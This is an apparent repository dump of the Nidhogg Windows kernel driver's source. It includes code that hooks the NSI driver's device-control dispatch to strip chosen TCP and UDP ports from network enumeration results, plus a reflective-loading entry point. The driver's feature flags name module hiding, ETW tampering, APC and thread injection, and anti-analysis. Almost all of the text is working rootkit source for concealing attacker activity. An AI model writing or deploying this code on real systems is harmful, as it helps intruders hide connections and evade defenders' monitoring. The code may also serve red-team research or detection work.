InterlockedExchange64((LONG64*)&driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG64)this->OriginalNsiDispatchAddress); 72 | this->OriginalNsiDispatchAddress = nullptr; 73 | this->CallbackActivated = false; 74 | 75 | ObDereferenceObject(driverObject); 76 | return status; 77 | } 78 | 79 | /* 80 | * Description: 81 | * NsiIrpComplete is responsible to handle IRP completion for the hooked Nsi dispatch function. 82 | * 83 | * Parameters: 84 | * @DeviceObject [PDEVICE_OBJECT] -- Driver device object. 85 | * @Irp [PIRP] -- Pointer to the Irp. 86 | * @Context [PVOID] -- Irp context. 87 | * 88 | * Returns: 89 | * @status [NTSTATUS] -- Depends on the status of the previous function. 90 | */ 91 | NTSTATUS NsiIrpComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context) { 92 | SIZE_T entriesHidden = 0; 93 | HookedCompletionRoutine* context = (HookedCompletionRoutine*)Context; 94 | 95 | if (NT_SUCCESS(Irp->IoStatus.Status)) { 96 | do { 97 | PNSI_PARAM nsiParameter = (PNSI_PARAM)Irp->UserBuffer; 98 | 99 | if (VALID_USERMODE_MEMORY((ULONGLONG)nsiParameter)) { 100 | if (!NT_SUCCESS(ProbeAddress(nsiParameter, sizeof(PNSI_PARAM), sizeof(PNSI_PARAM), STATUS_UNSUCCESSFUL))) 101 | break; 102 | } 103 | else if (!VALID_KERNELMODE_MEMORY((ULONGLONG)nsiParameter) || !nsiParameter) 104 | break; 105 | 106 | if (nsiParameter->Entries && nsiParameter->EntrySize > 0) { 107 | PNSI_TABLE_TCP_ENTRY tcpEntries = (PNSI_TABLE_TCP_ENTRY)nsiParameter->Entries; 108 | PNSI_UDP_ENTRY udpEntries = (PNSI_UDP_ENTRY)nsiParameter->Entries; 109 | PNSI_STATUS_ENTRY statusEntries = (PNSI_STATUS_ENTRY)nsiParameter->StatusEntries; 110 | PNSI_PROCESS_ENTRY processEntries = (PNSI_PROCESS_ENTRY)nsiParameter->ProcessEntries; 111 | 112 | auto HidePort = [](PVOID Entries, PNSI_PARAM nsiParameter, PNSI_STATUS_ENTRY statusEntries, 113 | PNSI_PROCESS_ENTRY processEntries, SIZE_T i) { 114 | USHORT entriesIndex = i + 1; 115 | 116 | if (!&((PUCHAR)Entries)[entriesIndex]) 117 | entriesIndex = i - 1; 118 | 119 | RtlMoveMemory(&((PUCHAR)Entries)[i], &((PUCHAR)Entries)[entriesIndex], (nsiParameter->Count - entriesIndex) * nsiParameter->EntrySize); 120 | 121 | if (statusEntries) { 122 | entriesIndex = i + 1; 123 | 124 | if (!&statusEntries[entriesIndex]) 125 | entriesIndex = i - 1; 126 | 127 | RtlMoveMemory(&statusEntries[i], &statusEntries[entriesIndex], (nsiParameter->Count - entriesIndex) * sizeof(NSI_STATUS_ENTRY)); 128 | } 129 | 130 | if (processEntries) { 131 | entriesIndex = i + 1; 132 | 133 | if (!&processEntries[entriesIndex]) 134 | entriesIndex = i - 1; 135 | 136 | RtlMoveMemory(&processEntries[i], &processEntries[entriesIndex], (nsiParameter->Count - entriesIndex) * nsiParameter->ProcessEntrySize); 137 | } 138 | }; 139 | 140 | for (SIZE_T i = 0; i < nsiParameter->Count; i++) { 141 | if (nsiParameter->Type == COMUNICATION_TYPE::TCP) { 142 | // Edge case of somehow the entries list is empty or invalid address of entry. 143 | if (!tcpEntries) 144 | continue; 145 | 146 | if (!VALID_USERMODE_MEMORY((ULONGLONG)&tcpEntries[i])) 147 | continue; 148 | 149 | HiddenPort hiddenPort{}; 150 | 151 | __try { 152 | hiddenPort.Port = htohs(tcpEntries[i].Local.Port); 153 | hiddenPort.Type = PortType::TCP; 154 | hiddenPort.Remote = false; 155 | 156 | if (NidhoggNetworkUtils->FindHiddenPort(hiddenPort)) { 157 | HidePort(tcpEntries, nsiParameter, statusEntries, processEntries, i); 158 | } 159 | 160 | hiddenPort.Port = htohs(tcpEntries[i].Remote.Port); 161 | hiddenPort.Type = PortType::TCP; 162 | hiddenPort.Remote = true; 163 | 164 | if (NidhoggNetworkUtils->FindHiddenPort(hiddenPort)) { 165 | HidePort(tcpEntries, nsiParameter, statusEntries, processEntries, i); 166 | } 167 | } 168 | __except (EXCEPTION_EXECUTE_HANDLER) {} 169 | } 170 | else if (nsiParameter->Type == COMUNICATION_TYPE::UDP) { 171 | // Edge case of somehow the entries list is empty or invalid address of entry. 172 | if (!udpEntries) 173 | continue; 174 | 175 | if (!VALID_USERMODE_MEMORY((ULONGLONG)&udpEntries[i])) 176 | continue; 177 | 178 | HiddenPort hiddenPort{}; 179 | 180 | __try { 181 | hiddenPort.Port = htohs(udpEntries[i].Port); 182 | hiddenPort.Type = PortType::UDP; 183 | 184 | if (NidhoggNetworkUtils->FindHiddenPort(hiddenPort)) { 185 | HidePort(udpEntries, nsiParameter, statusEntries, processEntries, i); 186 | } 187 | } 188 | __except (EXCEPTION_EXECUTE_HANDLER) { } 189 | } 190 | } 191 | 192 | nsiParameter->Count -= entriesHidden; 193 | } 194 | } while (false); 195 | } 196 | 197 | if (context->OriginalCompletionRoutine) { 198 | PIO_COMPLETION_ROUTINE originalRoutine = context->OriginalCompletionRoutine; 199 | PVOID originalContext = NULL; 200 | 201 | if (context->OriginalContext) 202 | originalContext = context->OriginalContext; 203 | 204 | ExFreePoolWithTag(Context, DRIVER_TAG); 205 | return originalRoutine(DeviceObject, Irp, originalContext); 206 | } 207 | 208 | ExFreePoolWithTag(Context, DRIVER_TAG); 209 | return STATUS_SUCCESS; 210 | } 211 | 212 | /* 213 | * Description: 214 | * HookedNsiDispatch is responsible to handle IOCTLs for Nsi. 215 | * 216 | * Parameters: 217 | * @DeviceObject [PDEVICE_OBJECT] -- Driver device object. 218 | * @Irp [PIRP] -- Pointer to the Irp. 219 | * 220 | * Returns: 221 | * @status [NTSTATUS] -- Whether the operation was successful or not. 222 | */ 223 | NTSTATUS HookedNsiDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) { 224 | auto stack = IoGetCurrentIrpStackLocation(Irp); 225 | 226 | if (stack->Parameters.DeviceIoControl.IoControlCode == IOCTL_NSI_ENUMERATE_OBJECTS_ALL_PARAMETERS) { 227 | HookedCompletionRoutine* context = AllocateMemory(sizeof(HookedCompletionRoutine), false); 228 | 229 | if (context) { 230 | context->OriginalCompletionRoutine = stack->CompletionRoutine; 231 | context->OriginalContext = stack->Context; 232 | stack->Context = context; 233 | stack->CompletionRoutine = NsiIrpComplete; 234 | stack->Control |= SL_INVOKE_ON_SUCCESS; 235 | } 236 | } 237 | 238 | return ((PDRIVER_DISPATCH)NidhoggNetworkUtils->GetOriginalCallback())(DeviceObject, Irp); 239 | } 240 | 241 | /* 242 | * Description: 243 | * FindHiddenPort is responsible for searching if a port exists in the hidden ports list. 244 | * 245 | * Parameters: 246 | * @port [HiddenPort] -- Port to find. 247 | * 248 | * Returns: 249 | * @status [bool] -- Whether found or not. 250 | */ 251 | bool NetworkUtils::FindHiddenPort(HiddenPort port) { 252 | AutoLock locker(this->HiddenPortsList.Lock); 253 | 254 | for (USHORT i = 0; i <= this->HiddenPortsList.LastIndex; i++) { 255 | if (this->HiddenPortsList.Ports[i].Port == port.Port && this->HiddenPortsList.Ports[i].Type == port.Type) { 256 | if (port.Type == PortType::TCP && this->HiddenPortsList.Ports[i].Type == PortType::TCP) { 257 | if (this->HiddenPortsList.Ports[i].Remote != port.Remote) 258 | continue; 259 | } 260 | return true; 261 | } 262 | } 263 | return false; 264 | } 265 | 266 | /* 267 | * Description: 268 | * AddHiddenPort is responsible for adding a port to the hidden ports list. 269 | * 270 | * Parameters: 271 | * @port [HiddenPort] -- Port to add. 272 | * 273 | * Returns: 274 | * @status [bool] -- Whether successfully added or not. 275 | */ 276 | bool NetworkUtils::AddHiddenPort(HiddenPort port) { 277 | AutoLock locker(this->HiddenPortsList.Lock); 278 | 279 | for (USHORT i = 0; i < MAX_PORTS; i++) 280 | if (this->HiddenPortsList.Ports[i].Port == 0) { 281 | this->HiddenPortsList.Ports[i].Port = port.Port; 282 | this->HiddenPortsList.Ports[i].Type = port.Type; 283 | this->HiddenPortsList.Ports[i].Remote = port.Remote; 284 | 285 | if (i > this->HiddenPortsList.LastIndex) 286 | this->HiddenPortsList.LastIndex = i; 287 | 288 | this->HiddenPortsList.PortsCount++; 289 | 290 | if (!this->CallbackActivated) { 291 | NTSTATUS status = this->InstallNsiHook(); 292 | 293 | if (!NT_SUCCESS(status)) { 294 | this->RemoveHiddenPort(port); 295 | break; 296 | } 297 | } 298 | return true; 299 | } 300 | return false; 301 | } 302 | 303 | /* 304 | * Description: 305 | * RemoveHiddenPort is responsible for removing a port from the hidden ports list. 306 | * 307 | * Parameters: 308 | * @port [HiddenPort] -- Port to remove. 309 | * 310 | * Returns: 311 | * @status [bool] -- Whether successfully removed or not. 312 | */ 313 | bool NetworkUtils::RemoveHiddenPort(HiddenPort port) { 314 | USHORT newLastIndex = 0; 315 | AutoLock locker(this->HiddenPortsList.Lock); 316 | 317 | for (USHORT i = 0; i <= this->HiddenPortsList.LastIndex; i++) { 318 | if (this->HiddenPortsList.Ports[i].Port != 0) { 319 | if (this->HiddenPortsList.Ports[i].Port == port.Port && this->HiddenPortsList.Ports[i].Type == port.Type) { 320 | if (this->HiddenPortsList.Ports[i].Type == PortType::TCP) { 321 | if (this->HiddenPortsList.Ports[i].Remote != port.Remote) { 322 | newLastIndex = i; 323 | continue; 324 | } 325 | } 326 | 327 | if (i == this->HiddenPortsList.LastIndex) 328 | this->HiddenPortsList.LastIndex = newLastIndex; 329 | this->HiddenPortsList.Ports[i].Port = 0; 330 | this->HiddenPortsList.PortsCount--; 331 | 332 | if (this->GetPortsCount() == 0 && this->CallbackActivated) { 333 | this->UninstallNsiHook(); 334 | } 335 | return true; 336 | } 337 | else 338 | newLastIndex = i; 339 | } 340 | } 341 | return false; 342 | } 343 | 344 | /* 345 | * Description: 346 | * ClearHiddenPortsList is responsible for clearing the hidden ports list. 347 | * 348 | * Parameters: 349 | * There are no parameters. 350 | * 351 | * Returns: 352 | * There is no return value. 353 | */ 354 | void NetworkUtils::ClearHiddenPortsList() { 355 | AutoLock locker(this->HiddenPortsList.Lock); 356 | 357 | memset(&this->HiddenPortsList.Ports, 0, MAX_PORTS * sizeof(HiddenPort)); 358 | this->HiddenPortsList.LastIndex = 0; 359 | this->HiddenPortsList.PortsCount = 0; 360 | } 361 | 362 | /* 363 | * Description: 364 | * QueryHiddenPorts is responsible for getting the hidden ports. 365 | * 366 | * Parameters: 367 | * @outputHiddenPorts [OutputHiddenPorts*] -- List of hidden ports to fill. 368 | * 369 | * Returns: 370 | * There is no return value. 371 | */ 372 | void NetworkUtils::QueryHiddenPorts(OutputHiddenPorts* outputHiddenPorts) { 373 | USHORT outputIndex = 0; 374 | 375 | AutoLock locker(this->HiddenPortsList.Lock); 376 | outputHiddenPorts->PortsCount = this->HiddenPortsList.PortsCount; 377 | 378 | for (USHORT i = 0; i <= this->HiddenPortsList.LastIndex; i++) { 379 | if (this->HiddenPortsList.Ports[i].Port != 0) { 380 | outputHiddenPorts->Ports[outputIndex].Port = this->HiddenPortsList.Ports[i].Port; 381 | outputHiddenPorts->Ports[outputIndex].Type = this->HiddenPortsList.Ports[i].Type; 382 | outputIndex++; 383 | } 384 | } 385 | } -------------------------------------------------------------------------------- /Nidhogg/NetworkUtils.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "MemoryHelper.hpp" 4 | 5 | extern "C" { 6 | #include "WindowsTypes.hpp" 7 | #include "NidhoggCommon.h" 8 | } 9 | 10 | constexpr USHORT MAX_PORT_NUMBER = 65535; 11 | constexpr USHORT MAX_PORTS = 256; 12 | constexpr ULONG IOCTL_NSI_ENUMERATE_OBJECTS_ALL_PARAMETERS = 0x12001B; 13 | 14 | constexpr USHORT htohs(USHORT port) { return (((port >> 8) & 0x00FF) | ((port << 8) & 0xFF00)); } 15 | 16 | enum class PortType { 17 | TCP, 18 | UDP 19 | }; 20 | 21 | struct InputHiddenPort { 22 | bool Hide; 23 | bool Remote; 24 | PortType Type; 25 | USHORT Port; 26 | }; 27 | 28 | struct HiddenPort { 29 | bool Remote; 30 | PortType Type; 31 | USHORT Port; 32 | }; 33 | 34 | struct OutputHiddenPorts { 35 | HiddenPort Ports[MAX_PORTS]; 36 | USHORT PortsCount; 37 | }; 38 | 39 | struct HiddenPorts { 40 | FastMutex Lock; 41 | HiddenPort Ports[MAX_PORTS]; 42 | USHORT LastIndex; 43 | USHORT PortsCount; 44 | }; 45 | 46 | struct HookedCompletionRoutine { 47 | PIO_COMPLETION_ROUTINE OriginalCompletionRoutine; 48 | PVOID OriginalContext; 49 | }; 50 | 51 | NTSTATUS NsiIrpComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context); 52 | NTSTATUS HookedNsiDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp); 53 | 54 | class NetworkUtils 55 | { 56 | private: 57 | bool CallbackActivated; 58 | HiddenPorts HiddenPortsList; 59 | PVOID OriginalNsiDispatchAddress; 60 | 61 | NTSTATUS InstallNsiHook(); 62 | NTSTATUS UninstallNsiHook(); 63 | 64 | public: 65 | void* operator new(size_t size) { 66 | return AllocateMemory(size, false); 67 | } 68 | 69 | void operator delete(void* p) { 70 | if (p) 71 | ExFreePoolWithTag(p, DRIVER_TAG); 72 | } 73 | 74 | NetworkUtils(); 75 | ~NetworkUtils(); 76 | 77 | 78 | bool FindHiddenPort(HiddenPort port); 79 | bool AddHiddenPort(HiddenPort port); 80 | bool RemoveHiddenPort(HiddenPort port); 81 | void ClearHiddenPortsList(); 82 | void QueryHiddenPorts(OutputHiddenPorts* outputHiddenPorts); 83 | 84 | USHORT GetPortsCount() { return this->HiddenPortsList.PortsCount; } 85 | PVOID GetOriginalCallback() { return this->OriginalNsiDispatchAddress; } 86 | }; 87 | 88 | inline NetworkUtils* NidhoggNetworkUtils; 89 | 90 | -------------------------------------------------------------------------------- /Nidhogg/Nidhogg.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "Nidhogg.h" 3 | 4 | extern "C" 5 | NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { 6 | #ifdef DRIVER_REFLECTIVELY_LOADED 7 | UNREFERENCED_PARAMETER(DriverObject); 8 | UNREFERENCED_PARAMETER(RegistryPath); 9 | Features.DriverReflectivelyLoaded = true; 10 | Features.ProcessProtection = false; 11 | Features.ThreadProtection = false; 12 | Features.RegistryFeatures = false; 13 | Print(DRIVER_PREFIX "Driver is being reflectively loaded...\n"); 14 | 15 | UNICODE_STRING driverName = RTL_CONSTANT_STRING(DRIVER_NAME); 16 | UNICODE_STRING routineName = RTL_CONSTANT_STRING(L"IoCreateDriver"); 17 | tIoCreateDriver IoCreateDriver = (tIoCreateDriver)MmGetSystemRoutineAddress(&routineName); 18 | 19 | if (!IoCreateDriver) 20 | return STATUS_INCOMPATIBLE_DRIVER_BLOCKED; 21 | 22 | NTSTATUS status = IoCreateDriver(&driverName, &NidhoggEntry); 23 | 24 | if (!NT_SUCCESS(status)) 25 | Print(DRIVER_PREFIX "Failed to create driver: (0x%08X)\n", status); 26 | return status; 27 | #endif 28 | 29 | return NidhoggEntry(DriverObject, RegistryPath); 30 | } 31 | 32 | /* 33 | * Description: 34 | * NidhoggEntry is responsible for handling the driver loading process. 35 | * 36 | * Parameters: 37 | * @DriverObject [PDRIVER_OBJECT] -- The driver object contains a lot of important driver configuration such as DeviceObject, MajorFunctions and more. 38 | * @RegistryPath [PUNICODE_STRING] -- The driver's associated registry path, unused. 39 | * 40 | * Returns: 41 | * @status [NTSTATUS] -- Whether the driver is loaded successfuly or not. 42 | */ 43 | NTSTATUS NidhoggEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { 44 | UNREFERENCED_PARAMETER(RegistryPath); 45 | NTSTATUS status = STATUS_SUCCESS; 46 | 47 | if (!InitializeFeatures()) { 48 | ClearAll(); 49 | return STATUS_INCOMPATIBLE_DRIVER_BLOCKED; 50 | } 51 | 52 | // Setting up the device object. 53 | UNICODE_STRING deviceName = RTL_CONSTANT_STRING(DRIVER_DEVICE_NAME); 54 | UNICODE_STRING symbolicLink = RTL_CONSTANT_STRING(DRIVER_SYMBOLIC_LINK); 55 | UNICODE_STRING altitude = RTL_CONSTANT_STRING(OB_CALLBACKS_ALTITUDE); 56 | UNICODE_STRING regAltitude = RTL_CONSTANT_STRING(REG_CALLBACK_ALTITUDE); 57 | PDEVICE_OBJECT DeviceObject = nullptr; 58 | 59 | // Creating device and symbolic link. 60 | status = IoCreateDevice(DriverObject, 0, &deviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject); 61 | 62 | if (!NT_SUCCESS(status)) { 63 | Print(DRIVER_PREFIX "Failed to create device: (0x%08X)\n", status); 64 | ClearAll(); 65 | return status; 66 | } 67 | 68 | status = IoCreateSymbolicLink(&symbolicLink, &deviceName); 69 | 70 | if (!NT_SUCCESS(status)) { 71 | Print(DRIVER_PREFIX "Failed to create symbolic link: (0x%08X)\n", status); 72 | IoDeleteDevice(DeviceObject); 73 | ClearAll(); 74 | return status; 75 | } 76 | 77 | // Registering the process callback function only if the driver isn't reflectively loaded (to avoid BSOD). 78 | if (!Features.DriverReflectivelyLoaded) { 79 | OB_OPERATION_REGISTRATION operations[] = { 80 | { 81 | PsProcessType, 82 | OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE, 83 | OnPreOpenProcess, nullptr 84 | }, 85 | { 86 | PsThreadType, 87 | OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE, 88 | OnPreOpenThread, nullptr 89 | } 90 | }; 91 | OB_CALLBACK_REGISTRATION registrationCallbacks = { 92 | OB_FLT_REGISTRATION_VERSION, 93 | REGISTERED_OB_CALLBACKS, 94 | RTL_CONSTANT_STRING(OB_CALLBACKS_ALTITUDE), 95 | nullptr, 96 | operations 97 | }; 98 | 99 | status = ObRegisterCallbacks(®istrationCallbacks, &RegistrationHandle); 100 | 101 | if (!NT_SUCCESS(status)) { 102 | Print(DRIVER_PREFIX "Failed to register process callback: (0x%08X)\n", status); 103 | status = STATUS_SUCCESS; 104 | Features.ProcessProtection = false; 105 | Features.ThreadProtection = false; 106 | } 107 | 108 | status = CmRegisterCallbackEx(OnRegistryNotify, ®Altitude, DriverObject, nullptr, &NidhoggRegistryUtils->RegCookie, nullptr); 109 | 110 | if (!NT_SUCCESS(status)) { 111 | Print(DRIVER_PREFIX "Failed to register registry callback: (0x%08X)\n", status); 112 | status = STATUS_SUCCESS; 113 | Features.RegistryFeatures = false; 114 | } 115 | } 116 | else { 117 | DeviceObject->Flags |= DO_BUFFERED_IO; 118 | DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; 119 | } 120 | 121 | // Setting up functions. 122 | DriverObject->DriverUnload = NidhoggUnload; 123 | DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = NidhoggCreateClose; 124 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = NidhoggDeviceControl; 125 | 126 | ExecuteInitialOperations(); 127 | 128 | Print(DRIVER_PREFIX "Initialization finished.\n"); 129 | return status; 130 | } 131 | 132 | /* 133 | * Description: 134 | * NidhoggUnload is responsible for handling the driver unloading process which includes: Removing all hooks, deleting the symbolic link and the deviceobject. 135 | * 136 | * Parameters: 137 | * @DriverObject [PDRIVER_OBJECT] -- The driver object contains a lot of important driver configuration such as DeviceObject, MajorFunctions and more. 138 | * 139 | * Returns: 140 | * There is no return value. 141 | */ 142 | void NidhoggUnload(PDRIVER_OBJECT DriverObject) { 143 | Print(DRIVER_PREFIX "Unloading...\n"); 144 | 145 | if (Features.RegistryFeatures) { 146 | NTSTATUS status = CmUnRegisterCallback(NidhoggRegistryUtils->RegCookie); 147 | 148 | if (!NT_SUCCESS(status)) { 149 | Print(DRIVER_PREFIX "Failed to unregister registry callbacks: (0x%08X)\n", status); 150 | } 151 | } 152 | 153 | ClearAll(); 154 | 155 | // To avoid BSOD. 156 | if (Features.ThreadProtection && Features.ProcessProtection && RegistrationHandle) { 157 | ObUnRegisterCallbacks(RegistrationHandle); 158 | RegistrationHandle = NULL; 159 | } 160 | 161 | UNICODE_STRING symbolicLink = RTL_CONSTANT_STRING(DRIVER_SYMBOLIC_LINK); 162 | IoDeleteSymbolicLink(&symbolicLink); 163 | IoDeleteDevice(DriverObject->DeviceObject); 164 | } 165 | 166 | /* 167 | * Description: 168 | * ExecuteInitialOperations is responsible for executing initial opeartions script. 169 | * 170 | * Parameters: 171 | * There are no parameters. 172 | * 173 | * Returns: 174 | * There is no return value. 175 | */ 176 | void ExecuteInitialOperations() { 177 | ScriptManager* scriptManager = nullptr; 178 | ScriptInformation scriptInfo{}; 179 | 180 | if (InitialOperationsSize == 0 || !InitialOperations) 181 | return; 182 | 183 | scriptInfo.ScriptSize = InitialOperationsSize; 184 | MemoryAllocator scriptAllocator(&scriptInfo.Script, scriptInfo.ScriptSize); 185 | NTSTATUS status = scriptAllocator.CopyData((PVOID)InitialOperations, scriptInfo.ScriptSize); 186 | 187 | if (!NT_SUCCESS(status)) 188 | return; 189 | 190 | __try { 191 | scriptManager = new ScriptManager(); 192 | status = scriptManager->ExecuteScript((PUCHAR)scriptInfo.Script, scriptInfo.ScriptSize); 193 | } 194 | __except (EXCEPTION_EXECUTE_HANDLER) { 195 | status = GetExceptionCode(); 196 | } 197 | 198 | if (scriptManager) { 199 | delete scriptManager; 200 | scriptManager = nullptr; 201 | } 202 | 203 | if (!NT_SUCCESS(status)) 204 | Print(DRIVER_PREFIX "Failed to execute initial operations (0x%08X)\n", status); 205 | else 206 | Print(DRIVER_PREFIX "Executed initial opeartions successfully.\n"); 207 | } 208 | 209 | /* 210 | * Description: 211 | * NidhoggCreateClose is responsible for creating a success response for given IRP. 212 | * 213 | * Parameters: 214 | * @DeviceObject [PDEVICE_OBJECT] -- Not used. 215 | * @Irp [PIRP] -- The IRP that contains the user data such as SystemBuffer, Irp stack, etc. 216 | * 217 | * Returns: 218 | * @status [NTSTATUS] -- Always will be STATUS_SUCCESS. 219 | */ 220 | NTSTATUS NidhoggCreateClose(PDEVICE_OBJECT, PIRP Irp) { 221 | Irp->IoStatus.Status = STATUS_SUCCESS; 222 | Irp->IoStatus.Information = 0; 223 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 224 | return STATUS_SUCCESS; 225 | } 226 | 227 | /* 228 | * Description: 229 | * ClearAll is responsible for freeing all allocated memory and cleaning all the globals. 230 | * 231 | * Parameters: 232 | * There are no parameters. 233 | * 234 | * Returns: 235 | * There is no return value. 236 | */ 237 | void ClearAll() { 238 | delete NidhoggProccessUtils; 239 | delete NidhoggFileUtils; 240 | delete NidhoggMemoryUtils; 241 | delete NidhoggAntiAnalysis; 242 | delete NidhoggRegistryUtils; 243 | delete NidhoggNetworkUtils; 244 | } 245 | 246 | /* 247 | * Description: 248 | * InitializeFeatures is responsible for initializing the features and the globals. 249 | * 250 | * Parameters: 251 | * There are no parameters. 252 | * 253 | * Returns: 254 | * There is no return value. 255 | */ 256 | bool InitializeFeatures() { 257 | // Get windows version. 258 | RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; 259 | NTSTATUS result = RtlGetVersion(&osVersion); 260 | 261 | if (!NT_SUCCESS(result)) 262 | return false; 263 | 264 | WindowsBuildNumber = osVersion.dwBuildNumber; 265 | 266 | if (WindowsBuildNumber < WIN_1507) 267 | return false; 268 | 269 | UNICODE_STRING routineName = RTL_CONSTANT_STRING(L"ExAllocatePool2"); 270 | AllocatePool2 = MmGetSystemRoutineAddress(&routineName); 271 | 272 | // Initialize utils. 273 | NidhoggProccessUtils = new ProcessUtils(); 274 | 275 | if (!NidhoggProccessUtils) 276 | return false; 277 | 278 | NidhoggFileUtils = new FileUtils(); 279 | 280 | if (!NidhoggFileUtils) 281 | return false; 282 | 283 | NidhoggMemoryUtils = new MemoryUtils(); 284 | 285 | if (!NidhoggMemoryUtils) 286 | return false; 287 | 288 | NidhoggAntiAnalysis = new AntiAnalysis(); 289 | 290 | if (!NidhoggAntiAnalysis) 291 | return false; 292 | 293 | NidhoggRegistryUtils = new RegistryUtils(); 294 | 295 | if (!NidhoggRegistryUtils) 296 | return false; 297 | 298 | NidhoggNetworkUtils = new NetworkUtils(); 299 | 300 | if (!NidhoggNetworkUtils) 301 | return false; 302 | 303 | // Initialize functions. 304 | if (!(PULONG)MmCopyVirtualMemory) 305 | Features.ReadData = false; 306 | 307 | if (!(PULONG)ZwProtectVirtualMemory || !Features.ReadData) 308 | Features.WriteData = false; 309 | 310 | if (!Features.WriteData || !(PULONG)PsGetProcessPeb) 311 | Features.FunctionPatching = false; 312 | 313 | if (!(PULONG)PsGetProcessPeb || !(PULONG)PsLoadedModuleList || !&PsLoadedModuleResource) 314 | Features.ModuleHiding = false; 315 | 316 | if (!(PULONG)ObReferenceObjectByName) 317 | Features.FileProtection = false; 318 | 319 | if (!(PULONG)KeInsertQueueApc) 320 | Features.EtwTiTamper = false; 321 | 322 | if (!(PULONG)KeInitializeApc || !(PULONG)KeInsertQueueApc || !(PULONG)KeTestAlertThread || !(PULONG)ZwQuerySystemInformation) 323 | Features.ApcInjection = false; 324 | 325 | if (NidhoggMemoryUtils->FoundNtCreateThreadEx()) 326 | Features.CreateThreadInjection = true; 327 | return true; 328 | } 329 | -------------------------------------------------------------------------------- /Nidhogg/Nidhogg.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | 4 | extern "C" { 5 | #include "WindowsTypes.hpp" 6 | } 7 | #include "NidhoggCommon.h" 8 | #include "ProcessUtils.hpp" 9 | #include "MemoryUtils.hpp" 10 | #include "FileUtils.hpp" 11 | #include "RegistryUtils.hpp" 12 | #include "AntiAnalysis.hpp" 13 | #include "NetworkUtils.hpp" 14 | #include "ScriptManager.h" 15 | #include "NidhoggDeviceControl.hpp" 16 | #include "InitialOperation.hpp" 17 | 18 | // Definitions. 19 | constexpr SIZE_T REGISTERED_OB_CALLBACKS = 2; 20 | #define DRIVER_NAME L"\\Driver\\Nidhogg" 21 | #define DRIVER_DEVICE_NAME L"\\Device\\Nidhogg" 22 | #define DRIVER_SYMBOLIC_LINK L"\\??\\Nidhogg" 23 | #define OB_CALLBACKS_ALTITUDE L"31105.6171" 24 | #define REG_CALLBACK_ALTITUDE L"31122.6172" 25 | 26 | // Prototypes. 27 | NTSTATUS NidhoggEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath); 28 | DRIVER_UNLOAD NidhoggUnload; 29 | DRIVER_DISPATCH NidhoggDeviceControl, NidhoggCreateClose; 30 | void ClearAll(); 31 | bool InitializeFeatures(); 32 | void ExecuteInitialOperations(); 33 | -------------------------------------------------------------------------------- /Nidhogg/Nidhogg.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | Debug 22 | ARM 23 | 24 | 25 | Release 26 | ARM 27 | 28 | 29 | Debug 30 | ARM64 31 | 32 | 33 | Release 34 | ARM64 35 | 36 | 37 | 38 | {13C57810-FF18-4258-ABC9-935040A54F0B} 39 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d} 40 | v4.5 41 | 12.0 42 | Debug 43 | Win32 44 | Nidhogg 45 | $(LatestTargetPlatformVersion) 46 | 47 | 48 | 49 | Windows10 50 | true 51 | WindowsKernelModeDriver10.0 52 | Driver 53 | WDM 54 | 55 | 56 | Windows10 57 | false 58 | WindowsKernelModeDriver10.0 59 | Driver 60 | WDM 61 | 62 | 63 | Windows10 64 | true 65 | WindowsKernelModeDriver10.0 66 | Driver 67 | WDM 68 | false 69 | 70 | 71 | Windows10 72 | false 73 | WindowsKernelModeDriver10.0 74 | Driver 75 | WDM 76 | false 77 | 78 | 79 | Windows10 80 | true 81 | WindowsKernelModeDriver10.0 82 | Driver 83 | WDM 84 | 85 | 86 | Windows10 87 | false 88 | WindowsKernelModeDriver10.0 89 | Driver 90 | WDM 91 | 92 | 93 | Windows10 94 | true 95 | WindowsKernelModeDriver10.0 96 | Driver 97 | WDM 98 | 99 | 100 | Windows10 101 | false 102 | WindowsKernelModeDriver10.0 103 | Driver 104 | WDM 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | DbgengKernelDebugger 116 | 117 | 118 | DbgengKernelDebugger 119 | 120 | 121 | DbgengKernelDebugger 122 | 123 | 124 | DbgengKernelDebugger 125 | 126 | 127 | DbgengKernelDebugger 128 | 129 | 130 | DbgengKernelDebugger 131 | 132 | 133 | DbgengKernelDebugger 134 | 135 | 136 | DbgengKernelDebugger 137 | 138 | 139 | 140 | sha256 141 | 142 | 143 | 144 | 145 | sha256 146 | 147 | 148 | 149 | 150 | sha256 151 | 152 | 153 | stdcpp20 154 | false 155 | true 156 | Use 157 | pch.h 158 | Level4 159 | true 160 | 161 | 162 | /INTEGRITYCHECK %(AdditionalOptions) 163 | 164 | 165 | %(AdditionalDependencies);$(KernelBufferOverflowLib);$(DDK_LIB_PATH)ntoskrnl.lib;$(DDK_LIB_PATH)hal.lib;$(DDK_LIB_PATH)FltMgr.lib 166 | DriverEntry 167 | 168 | 169 | python.exe ..\\post_compilation_operation.py 170 | 171 | 172 | Executing post compilation operations 173 | 174 | 175 | 176 | 177 | sha256 178 | 179 | 180 | stdcpp20 181 | false 182 | true 183 | Use 